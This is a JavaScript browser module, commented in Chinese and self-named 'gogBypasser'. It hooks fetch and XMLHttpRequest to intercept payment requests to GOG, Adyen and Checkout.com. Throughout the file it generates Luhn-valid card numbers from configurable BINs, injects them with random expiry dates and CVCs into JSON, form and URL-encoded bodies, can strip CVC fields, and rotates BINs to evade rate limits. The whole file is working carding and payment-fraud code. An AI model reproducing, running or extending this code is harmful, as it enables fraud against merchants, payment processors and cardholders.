/**
 * ============================================================================
 * GOG/Adyen Payment Handler Module (Modularized Version)
 * ============================================================================
 * 功能：
 *   1. 攔截 GOG/Adyen 支付請求
 *   2. 解析多種請求體格式 (JSON/FormData/URLSearchParams)
 *   3. 根據 BIN 列表自動生成有效卡號
 *   4. 替換原始請求中的卡號、有效期、CVC
 *   5. 支持 CVC 移除邏輯
 *   6. 輪詢多個 BIN 以繞過頻率限制
 * 
 * 使用方式：
 *   const handler = new GogPaymentHandlerModule(config);
 *   handler.init();
 * ============================================================================
 */

class GogPaymentHandlerModule {
    constructor(config = {}) {
        // 默認配置
        this.config = {
            enabled: true,                      // 是否啟用模塊
            debug: false,                       // 調試模式
            removeCvc: false,                   // 是否移除 CVC
            binList: [],                        // BIN 列表 (例: ['424242', '378282'])
            autoRotateBin: true,                // 自動輪詢 BIN
            targetDomains: [                    // 目標域名
                'gog.com',
                'adyen.com',
                'checkout.com'
            ],
            targetKeywords: [                   // URL 關鍵詞
                'payment',
                'checkout',
                'adyen',
                'paymentMethods',
                'payments'
            ],
            cardFields: {                       // 卡字段映射
                number: ['cardNumber', 'number', 'card.number', 'encryptedCardNumber'],
                month: ['expiryMonth', 'month', 'card.expiryMonth', 'exp_month'],
                year: ['expiryYear', 'year', 'card.expiryYear', 'exp_year'],
                cvc: ['cvc', 'cvv', 'securityCode', 'card.cvc']
            },
            saveToStorage: true,                // 保存最後使用的卡信息
            storageKeys: {
                lastCard: 'gogBypasserLastCardString',
                lastCardJson: 'gogBypasserLastCardJSON',
                binIndex: 'gogBypasserBinIndex'
            },
            ...config
        };

        // 運行時狀態
        this.currentBinIndex = 0;
        this.lastResetTime = Date.now();
        this.processedRequests = new Set();
        this.cardGenerator = null;

        // 原始方法引用
        this.originalFetch = null;
        this.originalXHROpen = null;
        this.originalXHRSend = null;

        // 綁定方法
        this.handleFetch = this.handleFetch.bind(this);
        this.handleXHR = this.handleXHR.bind(this);
    }

    /**
     * 初始化模塊
     */
    init() {
        this.log('Initializing GOG Payment Handler Module...');

        // 1. 加載 BIN 索引
        this.loadBinIndex();

        // 2. 初始化卡號生成器
        this.initCardGenerator();

        // 3. Hook 網絡請求
        this.hookFetch();
        this.hookXHR();

        // 4. 註冊消息監聽
        this.setupMessageListener();

        // 5. 暴露全局接口
        this.exposeGlobalAPI();

        this.log('Module initialized successfully');
    }

    /**
     * 銷毀模塊
     */
    destroy() {
        if (this.originalFetch) {
            window.fetch = this.originalFetch;
        }
        if (this.originalXHROpen) {
            XMLHttpRequest.prototype.open = this.originalXHROpen;
        }
        if (this.originalXHRSend) {
            XMLHttpRequest.prototype.send = this.originalXHRSend;
        }

        this.log('Module destroyed');
    }

    /**
     * ========================================================================
     * BIN 管理
     * ========================================================================
     */

    /**
     * 加載 BIN 索引
     */
    loadBinIndex() {
        try {
            if (this.config.saveToStorage && window.localStorage) {
                const saved = localStorage.getItem(this.config.storageKeys.binIndex);
                if (saved) {
                    this.currentBinIndex = parseInt(saved, 10) || 0;
                }
            }
        } catch (e) {
            this.warn('Failed to load BIN index from storage:', e);
        }
    }

    /**
     * 保存 BIN 索引
     */
    saveBinIndex() {
        try {
            if (this.config.saveToStorage && window.localStorage) {
                localStorage.setItem(
                    this.config.storageKeys.binIndex,
                    String(this.currentBinIndex)
                );
            }
        } catch (e) {
            // Ignore
        }
    }

    /**
     * 獲取下一個 BIN
     */
    getNextBin() {
        if (this.config.binList.length === 0) {
            this.warn('BIN list is empty');
            return null;
        }

        const bin = this.config.binList[this.currentBinIndex % this.config.binList.length];
        
        if (this.config.autoRotateBin) {
            this.currentBinIndex++;
            this.saveBinIndex();
        }

        return bin;
    }

    /**
     * 更新 BIN 列表
     */
    updateBinList(newBins) {
        if (Array.isArray(newBins)) {
            this.config.binList = newBins
                .filter(b => b && typeof b === 'string')
                .map(b => b.trim())
                .filter(b => b.length >= 6);
        } else if (typeof newBins === 'string') {
            // 支持換行符分隔
            this.config.binList = newBins
                .split('\n')
                .map(b => b.trim())
                .filter(b => b.length >= 6);
        }

        this.log('BIN list updated:', this.config.binList);
    }

    /**
     * ========================================================================
     * 卡號生成器
     * ========================================================================
     */

    /**
     * 初始化卡號生成器
     */
    initCardGenerator() {
        // 嘗試使用全局生成器
        if (window.StripeBypasserCardGenerator) {
            this.cardGenerator = window.StripeBypasserCardGenerator;
            this.log('Using global card generator');
            return;
        }

        // 否則使用內置生成器
        this.cardGenerator = {
            generateCard: (bin) => this.generateCardInternal(bin)
        };

        this.log('Using internal card generator');
    }

    /**
     * 內置卡號生成器 (Luhn 算法)
     */
    generateCardInternal(bin) {
        if (!bin || bin.length < 6) {
            this.error('Invalid BIN:', bin);
            return null;
        }

        // 生成隨機補充數字 (總長度 16 位)
        let cardNumber = bin;
        while (cardNumber.length < 15) {
            cardNumber += Math.floor(Math.random() * 10);
        }

        // 計算 Luhn 校驗位
        const checkDigit = this.calculateLuhnCheckDigit(cardNumber);
        cardNumber += checkDigit;

        // 生成隨機有效期和 CVC
        const currentYear = new Date().getFullYear();
        const month = String(Math.floor(Math.random() * 12) + 1).padStart(2, '0');
        const year = String(currentYear + Math.floor(Math.random() * 5) + 1);
        const cvc = String(Math.floor(Math.random() * 900) + 100);

        return {
            number: cardNumber,
            month: month,
            year: year,
            cvc: cvc
        };
    }

    /**
     * Luhn 算法校驗位計算
     */
    calculateLuhnCheckDigit(cardNumber) {
        let sum = 0;
        let shouldDouble = true;

        for (let i = cardNumber.length - 1; i >= 0; i--) {
            let digit = parseInt(cardNumber[i], 10);

            if (shouldDouble) {
                digit *= 2;
                if (digit > 9) digit -= 9;
            }

            sum += digit;
            shouldDouble = !shouldDouble;
        }

        const checkDigit = (10 - (sum % 10)) % 10;
        return String(checkDigit);
    }

    /**
     * ========================================================================
     * Fetch Hook
     * ========================================================================
     */

    hookFetch() {
        if (this.originalFetch) return;

        this.originalFetch = window.fetch;
        const self = this;

        window.fetch = async function(...args) {
            return await self.handleFetch(this, args, self.originalFetch);
        };

        this.log('Fetch API hooked');
    }

    async handleFetch(context, args, originalFetch) {
        const [url, options = {}] = args;
        const urlString = this.normalizeUrl(url);

        // 檢查是否為目標請求
        if (!this.isTargetRequest(urlString)) {
            return await originalFetch.apply(context, args);
        }

        this.log('Intercepted payment request:', urlString);

        // 處理支付請求
        const modifiedOptions = await this.processPaymentRequest(url, options);

        // 發送修改後的請求
        return await originalFetch.apply(context, [url, modifiedOptions]);
    }

    /**
     * ========================================================================
     * XHR Hook
     * ========================================================================
     */

    hookXHR() {
        if (this.originalXHROpen) return;

        this.originalXHROpen = XMLHttpRequest.prototype.open;
        this.originalXHRSend = XMLHttpRequest.prototype.send;
        const self = this;

        XMLHttpRequest.prototype.open = function(method, url, ...rest) {
            this._gogUrl = self.normalizeUrl(url);
            this._gogMethod = method;
            return self.originalXHROpen.apply(this, [method, url, ...rest]);
        };

        XMLHttpRequest.prototype.send = function(body) {
            const url = this._gogUrl;

            if (!self.isTargetRequest(url)) {
                return self.originalXHRSend.apply(this, [body]);
            }

            self.log('Intercepted XHR payment request:', url);

            // 處理 XHR 請求體
            const options = {
                method: this._gogMethod,
                body: body,
                headers: {}
            };

            self.processPaymentRequest(url, options).then(modifiedOptions => {
                self.originalXHRSend.apply(this, [modifiedOptions.body]);
            }).catch(err => {
                self.error('XHR modification failed:', err);
                self.originalXHRSend.apply(this, [body]);
            });
        };

        this.log('XHR hooked');
    }

    /**
     * ========================================================================
     * 請求處理核心邏輯
     * ========================================================================
     */

    /**
     * 處理支付請求
     */
    async processPaymentRequest(url, options) {
        if (!this.config.enabled) {
            return options;
        }

        // 檢查是否有 BIN 列表
        if (this.config.binList.length === 0) {
            this.warn('BIN list is empty, skipping modification');
            return options;
        }

        // 獲取下一個 BIN
        const bin = this.getNextBin();
        if (!bin) {
            return options;
        }

        // 生成新卡號
        const card = this.cardGenerator.generateCard(bin);
        if (!card) {
            this.error('Failed to generate card for BIN:', bin);
            return options;
        }

        this.log('Generated card:', {
            number: card.number.slice(0, 6) + '******' + card.number.slice(-4),
            month: card.month,
            year: card.year
        });

        // 解析和修改請求體
        const modifiedBody = await this.modifyRequestBody(options.body, card);

        // 保存卡信息
        this.saveCardInfo(card);

        // 廣播事件
        this.broadcastCardGenerated(card, url);

        return {
            ...options,
            body: modifiedBody
        };
    }

    /**
     * 修改請求體
     */
    async modifyRequestBody(body, card) {
        if (!body) return body;

        const bodyType = this.detectBodyType(body);
        this.log('Request body type:', bodyType);

        switch (bodyType) {
            case 'json':
                return this.modifyJsonBody(body, card);
            case 'formdata':
                return this.modifyFormDataBody(body, card);
            case 'urlsearchparams':
                return this.modifyUrlSearchParamsBody(body, card);
            case 'string':
                return this.modifyStringBody(body, card);
            default:
                return body;
        }
    }

    /**
     * 檢測請求體類型
     */
    detectBodyType(body) {
        if (typeof body === 'string') {
            try {
                JSON.parse(body);
                return 'json';
            } catch (e) {
                if (body.includes('=')) {
                    return 'urlsearchparams';
                }
                return 'string';
            }
        }

        if (body instanceof FormData) return 'formdata';
        if (body instanceof URLSearchParams) return 'urlsearchparams';
        if (typeof body === 'object') return 'json';

        return 'unknown';
    }

    /**
     * 修改 JSON 格式請求體
     */
    modifyJsonBody(body, card) {
        try {
            const data = typeof body === 'string' ? JSON.parse(body) : body;

            // 處理嵌套結構 (例: { card: { number: '...', ... } })
            if (data.card && typeof data.card === 'object') {
                data.card.number = card.number;
                data.card.expiryMonth = card.month;
                data.card.expiryYear = card.year;

                if (this.config.removeCvc) {
                    delete data.card.cvc;
                    delete data.card.cvv;
                    delete data.card.securityCode;
                } else {
                    data.card.cvc = card.cvc;
                }
            }

            // 處理扁平結構
            for (const field of this.config.cardFields.number) {
                if (this.hasNestedProperty(data, field)) {
                    this.setNestedProperty(data, field, card.number);
                }
            }

            for (const field of this.config.cardFields.month) {
                if (this.hasNestedProperty(data, field)) {
                    this.setNestedProperty(data, field, card.month);
                }
            }

            for (const field of this.config.cardFields.year) {
                if (this.hasNestedProperty(data, field)) {
                    this.setNestedProperty(data, field, card.year);
                }
            }

            if (this.config.removeCvc) {
                for (const field of this.config.cardFields.cvc) {
                    this.deleteNestedProperty(data, field);
                }
            } else {
                for (const field of this.config.cardFields.cvc) {
                    if (this.hasNestedProperty(data, field)) {
                        this.setNestedProperty(data, field, card.cvc);
                    }
                }
            }

            this.log('JSON body modified successfully');
            return JSON.stringify(data);

        } catch (e) {
            this.error('Failed to modify JSON body:', e);
            return body;
        }
    }

    /**
     * 修改 FormData 格式請求體
     */
    modifyFormDataBody(body, card) {
        try {
            const newFormData = new FormData();

            for (const [key, value] of body.entries()) {
                let modified = false;

                // 檢查是否為卡號字段
                for (const field of this.config.cardFields.number) {
                    if (key.includes(field) || key === field) {
                        newFormData.append(key, card.number);
                        modified = true;
                        break;
                    }
                }

                if (!modified) {
                    // 檢查月份
                    for (const field of this.config.cardFields.month) {
                        if (key.includes(field) || key === field) {
                            newFormData.append(key, card.month);
                            modified = true;
                            break;
                        }
                    }
                }

                if (!modified) {
                    // 檢查年份
                    for (const field of this.config.cardFields.year) {
                        if (key.includes(field) || key === field) {
                            newFormData.append(key, card.year);
                            modified = true;
                            break;
                        }
                    }
                }

                if (!modified) {
                    // 檢查 CVC
                    const isCvcField = this.config.cardFields.cvc.some(f => 
                        key.includes(f) || key === f
                    );

                    if (isCvcField) {
                        if (!this.config.removeCvc) {
                            newFormData.append(key, card.cvc);
                        }
                        modified = true;
                    }
                }

                // 如果沒有修改，保持原值
                if (!modified) {
                    newFormData.append(key, value);
                }
            }

            this.log('FormData body modified successfully');
            return newFormData;

        } catch (e) {
            this.error('Failed to modify FormData body:', e);
            return body;
        }
    }

    /**
     * 修改 URLSearchParams 格式請求體
     */
    modifyUrlSearchParamsBody(body, card) {
        try {
            const params = typeof body === 'string' 
                ? new URLSearchParams(body) 
                : new URLSearchParams(body.toString());

            // 替換卡號
            for (const field of this.config.cardFields.number) {
                if (params.has(field)) {
                    params.set(field, card.number);
                }
            }

            // 替換月份
            for (const field of this.config.cardFields.month) {
                if (params.has(field)) {
                    params.set(field, card.month);
                }
            }

            // 替換年份
            for (const field of this.config.cardFields.year) {
                if (params.has(field)) {
                    params.set(field, card.year);
                }
            }

            // 處理 CVC
            if (this.config.removeCvc) {
                for (const field of this.config.cardFields.cvc) {
                    params.delete(field);
                }
            } else {
                for (const field of this.config.cardFields.cvc) {
                    if (params.has(field)) {
                        params.set(field, card.cvc);
                    }
                }
            }

            this.log('URLSearchParams body modified successfully');
            return params.toString();

        } catch (e) {
            this.error('Failed to modify URLSearchParams body:', e);
            return body;
        }
    }

    /**
     * 修改字符串格式請求體 (純文本或其他格式)
     */
    modifyStringBody(body, card) {
        try {
            let modified = body;

            // 使用正則表達式替換卡號模式
            // 匹配 13-19 位數字
            const cardNumberPattern = /\b\d{13,19}\b/g;
            modified = modified.replace(cardNumberPattern, card.number);

            this.log('String body modified (pattern matching)');
            return modified;

        } catch (e) {
            this.error('Failed to modify string body:', e);
            return body;
        }
    }

    /**
     * ========================================================================
     * 嵌套對象處理工具
     * ========================================================================
     */

    /**
     * 檢查嵌套屬性是否存在
     */
    hasNestedProperty(obj, path) {
        const keys = path.split('.');
        let current = obj;

        for (const key of keys) {
            if (current && typeof current === 'object' && key in current) {
                current = current[key];
            } else {
                return false;
            }
        }

        return true;
    }

    /**
     * 設置嵌套屬性
     */
    setNestedProperty(obj, path, value) {
        const keys = path.split('.');
        let current = obj;

        for (let i = 0; i < keys.length - 1; i++) {
            const key = keys[i];
            if (!(key in current)) {
                current[key] = {};
            }
            current = current[key];
        }

        current[keys[keys.length - 1]] = value;
    }

    /**
     * 刪除嵌套屬性
     */
    deleteNestedProperty(obj, path) {
        const keys = path.split('.');
        let current = obj;

        for (let i = 0; i < keys.length - 1; i++) {
            const key = keys[i];
            if (!(key in current)) {
                return;
            }
            current = current[key];
        }

        delete current[keys[keys.length - 1]];
    }

    /**
     * ========================================================================
     * 存儲與廣播
     * ========================================================================
     */

    /**
     * 保存卡信息到 LocalStorage
     */
    saveCardInfo(card) {
        if (!this.config.saveToStorage) return;

        try {
            const cardString = `${card.number}|${card.month}|${card.year}|${card.cvc || ''}`;

            localStorage.setItem(
                this.config.storageKeys.lastCard,
                cardString
            );

            localStorage.setItem(
                this.config.storageKeys.lastCardJson,
                JSON.stringify(card)
            );

            this.log('Card info saved to storage');

        } catch (e) {
            this.warn('Failed to save card info:', e);
        }
    }

    /**
     * 從 LocalStorage 加載最後的卡信息
     */
    getLastCardInfo() {
        try {
            const json = localStorage.getItem(this.config.storageKeys.lastCardJson);
            if (json) {
                return JSON.parse(json);
            }
        } catch (e) {
            // Ignore
        }
        return null;
    }

    /**
     * 廣播卡號生成事件
     */
    broadcastCardGenerated(card, url) {
        // postMessage 廣播
        window.postMessage({
            type: 'GOG_BYPASSER_EVENT',
            eventType: 'CARD_GENERATED',
            card: {
                number: card.number,
                month: card.month,
                year: card.year,
                cvc: this.config.removeCvc ? null : card.cvc,
                maskedNumber: card.number.slice(0, 6) + '******' + card.number.slice(-4)
            },
            url: url,
            timestamp: Date.now()
        }, '*');

        // CustomEvent 廣播
        if (document) {
            document.dispatchEvent(new CustomEvent('GOG_CARD_GENERATED', {
                detail: {
                    card: card,
                    url: url
                }
            }));
        }
    }

    /**
     * ========================================================================
     * 工具方法
     * ========================================================================
     */

    /**
     * 標準化 URL
     */
    normalizeUrl(url) {
        try {
            if (typeof url === 'string') return url;
            if (url instanceof URL) return url.toString();
            if (url && url.url) return url.url;
            return String(url);
        } catch (e) {
            return '';
        }
    }

    /**
     * 判斷是否為目標請求
     */
    isTargetRequest(url) {
        if (!url) return false;

        const urlLower = url.toLowerCase();

        // 檢查域名
        const domainMatch = this.config.targetDomains.some(domain =>
            urlLower.includes(domain.toLowerCase())
        );

        // 檢查關鍵詞
        const keywordMatch = this.config.targetKeywords.some(keyword =>
            urlLower.includes(keyword.toLowerCase())
        );

        return domainMatch || keywordMatch;
    }

    /**
     * ========================================================================
     * 消息監聽
     * ========================================================================
     */

    setupMessageListener() {
        window.addEventListener('message', (event) => {
            const data = event.data;

            if (data?.type === 'GOG_HANDLER_UPDATE_CONFIG') {
                this.updateConfig(data.config);
            }

            if (data?.type === 'GOG_HANDLER_UPDATE_BIN') {
                this.updateBinList(data.bins);
            }

            if (data?.type === 'GOG_HANDLER_RESET') {
                this.reset();
            }

            if (data?.type === 'GOG_HANDLER_GENERATE_CARD') {
                const bin = data.bin || this.getNextBin();
                const card = this.cardGenerator.generateCard(bin);
                
                // 回復消息
                window.postMessage({
                    type: 'GOG_HANDLER_CARD_RESPONSE',
                    card: card
                }, '*');
            }
        });
    }

    /**
     * ========================================================================
     * 配置管理
     * ========================================================================
     */

    /**
     * 更新配置
     */
    updateConfig(newConfig) {
        Object.assign(this.config, newConfig);

        // 如果更新了 BIN 列表，處理它
        if (newConfig.binList) {
            this.updateBinList(newConfig.binList);
        }

        this.log('Config updated:', this.config);
    }

    /**
     * 重置狀態
     */
    reset() {
        this.currentBinIndex = 0;
        this.processedRequests.clear();
        this.saveBinIndex();
        this.log('Module state reset');
    }

    /**
     * 獲取當前狀態
     */
    getStatus() {
        return {
            enabled: this.config.enabled,
            binCount: this.config.binList.length,
            currentBinIndex: this.currentBinIndex,
            lastCard: this.getLastCardInfo(),
            processedCount: this.processedRequests.size,
            config: this.config
        };
    }

    /**
     * ========================================================================
     * 全局 API
     * ========================================================================
     */

    exposeGlobalAPI() {
        window.gogBypasser = {
            module: this,
            handlePayment: (url, options) => this.processPaymentRequest(url, options),
            generateCard: (bin) => this.cardGenerator.generateCard(bin || this.getNextBin()),
            getStatus: () => this.getStatus(),
            updateConfig: (cfg) => this.updateConfig(cfg),
            updateBins: (bins) => this.updateBinList(bins),
            reset: () => this.reset()
        };

        this.log('Global API exposed as window.gogBypasser');
    }

    /**
     * ========================================================================
     * 日誌工具
     * ========================================================================
     */

    log(...args) {
        if (this.config.debug) {
            console.log('[GOG Handler]', ...args);
        }
    }

    warn(...args) {
        if (this.config.debug) {
            console.warn('[GOG Handler]', ...args);
        }
    }

    error(...args) {
        console.error('[GOG Handler]', ...args);
    }
}

/**
 * ============================================================================
 * 全局暴露與自動初始化
 * ============================================================================
 */
window.GogPaymentHandlerModule = GogPaymentHandlerModule;

// 自動初始化選項
if (typeof GOG_AUTO_INIT !== 'undefined' && GOG_AUTO_INIT) {
    const instance = new GogPaymentHandlerModule({
        enabled: true,
        debug: true,
        binList: window.GOG_BIN_LIST || [],
        removeCvc: false
    });
    instance.init();
    window.__gogHandler = instance;
}